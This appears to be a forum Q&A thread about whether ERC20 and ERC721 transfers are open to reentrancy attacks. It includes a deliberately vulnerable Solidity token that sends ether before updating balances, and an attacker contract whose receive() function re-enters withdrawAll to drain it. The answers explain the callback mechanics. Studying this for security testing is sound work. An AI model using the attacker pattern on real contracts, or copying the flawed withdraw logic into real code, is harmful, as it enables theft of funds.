3

Description

I was writing security tests for an ERC20 token. I was researching online about reentrancy attacks and found that it is mainly accomplished by using a fallback() or receive() function in the malicious contract that recursively calls the withdrawEthers() function of the victim contract and eventually drains all the stored funds.

Now, my question is: Is it possible to write such a reentrant function that performs similar recursive calls to an unsafe ERC20.transfer() or ERC20.transferFrom() function or as a matter of fact even ERC721.transfer() to steal the tokens?

Contract Source Code

Below is a dummy unsafe token and an attacker contract for reference:

DummyToken.sol

//SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;

import "hardhat/console.sol";
import "@openzeppelin/contracts/utils/Address.sol";

contract DummyERC20 {
    using Address for address payable;

    string public constant NAME = "DummyToken";
    string public constant SYMBOL = "DMY";
    uint8 public constant decimals = 18;
    uint256 _totalSupply;

    struct Allowed {
        mapping (address => uint256) _allowed;
    }

    mapping (address => Allowed) allowed;
    mapping (address => uint256)  balances;

    event Transfer (address indexed _from, address indexed _to, uint256 _amount);
    event Approval (address indexed _owner, address indexed _spender, uint256 _amount);
    event TransferFrom (address indexed _spender, address indexed _from, address indexed _to, uint256 _amount);
    event Deposit (address indexed _caller, uint256 _amount);
    event Withdraw (address indexed _caller, uint256 _amount);

    function totalSupply () external view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf (address _of) external view returns (uint256) {
        require (_of != address(0), "DummyToken: Cannot compute balance of null address");
        return balances[_of];
    }

    function deposit () external payable {
        balances[msg.sender] += msg.value;
        _totalSupply += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw (uint256 _amount) external {
        require (_amount <= balances[msg.sender], "DummyToken: Not enough balance");
        payable(msg.sender).sendValue(_amount);
        balances[msg.sender] -= _amount;
        _totalSupply -= _amount;
        emit Withdraw(msg.sender, _amount);
    }

    function withdrawAll () external {
        require (balances[msg.sender] > 0, "DummyToken: Not enough balance");
        payable(msg.sender).sendValue(balances[msg.sender]);

        // console.log("DummyToken contract balance: ", contractBalance());
        // console.log("Caller Balance: ", balances[msg.sender]);

        balances[msg.sender] = 0;
        _totalSupply -= balances[msg.sender];
        emit Withdraw(msg.sender, balances[msg.sender]);
    }

    function transfer (address _to, uint256 _amount) external {
        require (_amount < balances[msg.sender], "DummyToken: Not enough balance");
        require (_to != address(0), "DummyToken: Cannot transfer tokens to null address");
        balances[_to] += _amount;
        balances[msg.sender] -= _amount;
        emit Transfer(msg.sender, _to, _amount);
    }

    function approve (address _spender, uint256 _amount) external {
        require(_spender != address(0), "DummyToken: Spender cannot be null address");
        allowed[msg.sender]._allowed[_spender] = _amount;
        emit Approval(msg.sender, _spender, _amount);
    }

    function allowance (address _owner, address _spender) external view returns (uint256) {
        require (_owner != address(0) && _spender != address(0), "DummyToken: Owner or spender cannot be null address");
        return allowed[msg.sender]._allowed[_spender];
    }

    function transferFrom (address _from, address _to, uint256 _amount) external {
        require (_from != address(0) && _to != address(0), "DummyToken: From or to addresses cannot be null address");
        require (_amount <= allowed[_from]._allowed[msg.sender], "DummyToken: Spender does not have enough allowance");
        require (_amount <= balances[_from], "DummyToken: From address does not have enough balance");
        balances[_to] += _amount;
        balances[_from] -= _amount;
        allowed[_from]._allowed[msg.sender] -= _amount;
        emit TransferFrom(msg.sender, _from, _to, _amount);
    }

    function contractBalance () public view returns (uint256) {
        return address(this).balance;
    }
}

DummyAttacker.sol

//SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;

import "hardhat/console.sol";
import "./DummyToken.sol";

contract DummyAttacker {
    DummyERC20 public immutable victim;
    address public owner;

    constructor (address _victim) {
        victim = DummyERC20(_victim);
        owner = msg.sender;
    }

    function deposit () external payable {
        require (msg.sender == owner);
        victim.deposit{value: msg.value}();
    }

    function withdraw () external {
        require (msg.sender == owner);
        victim.withdrawAll();
    }

    function attack () external payable {
        require (msg.sender == owner);
        victim.withdrawAll();
    }

    receive () external payable {
        if (victim.contractBalance() > 0) {
            console.log("Reentering");
            victim.withdrawAll();
        } else {
            console.log("Attack success!!! Victim account drained.");
        }
    }

    function withdrawSpoils () external {
        require (msg.sender == owner);
        payable(owner).transfer(address(this).balance);
    }

    function getBalance () external view returns (uint256, uint256) {
        return (address(this).balance, address(victim).balance);
    }
}

2 Answers 2

3

No. Since a contract cannot be "warned" that it received ERC20 tokens (i.e. ERC20's transfer() function doesnt call back the receiver, as opposed to an ether transfer, which calls the receiver's fallback() or receive() function), it's not possible to exploit it with reentrancy attacks. Standards such as ERC777, which extends the ERC20 standard by adding a callback mechanism, introduce this possibility. Aditionally, you mentionned ERC721 in your question, its transfer() function doesnt call back the receiver, so it cannot be reentered, but (somewhat ironically) its safeTransfer() function does (although its standard (openzeppelin) implementation is indeed safe).

On a side note, your DummyERC20.sol (which is basically WETH, by the way) withdraw() and withdrawAll() function are vulnerable to reentrancy attacks.

2

Since the standard ERC20 doesn't provide an fallback mechanism for transfers it is not exploitable with reentrancy attacks, unless the ERC20 contract itself the is a malicious one.

There are tokens that perform additional functionality in every transfer, e.g. charging fees, rebalancing a pool pair, etc. This extra functionality might be the target for reentrancy problems.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.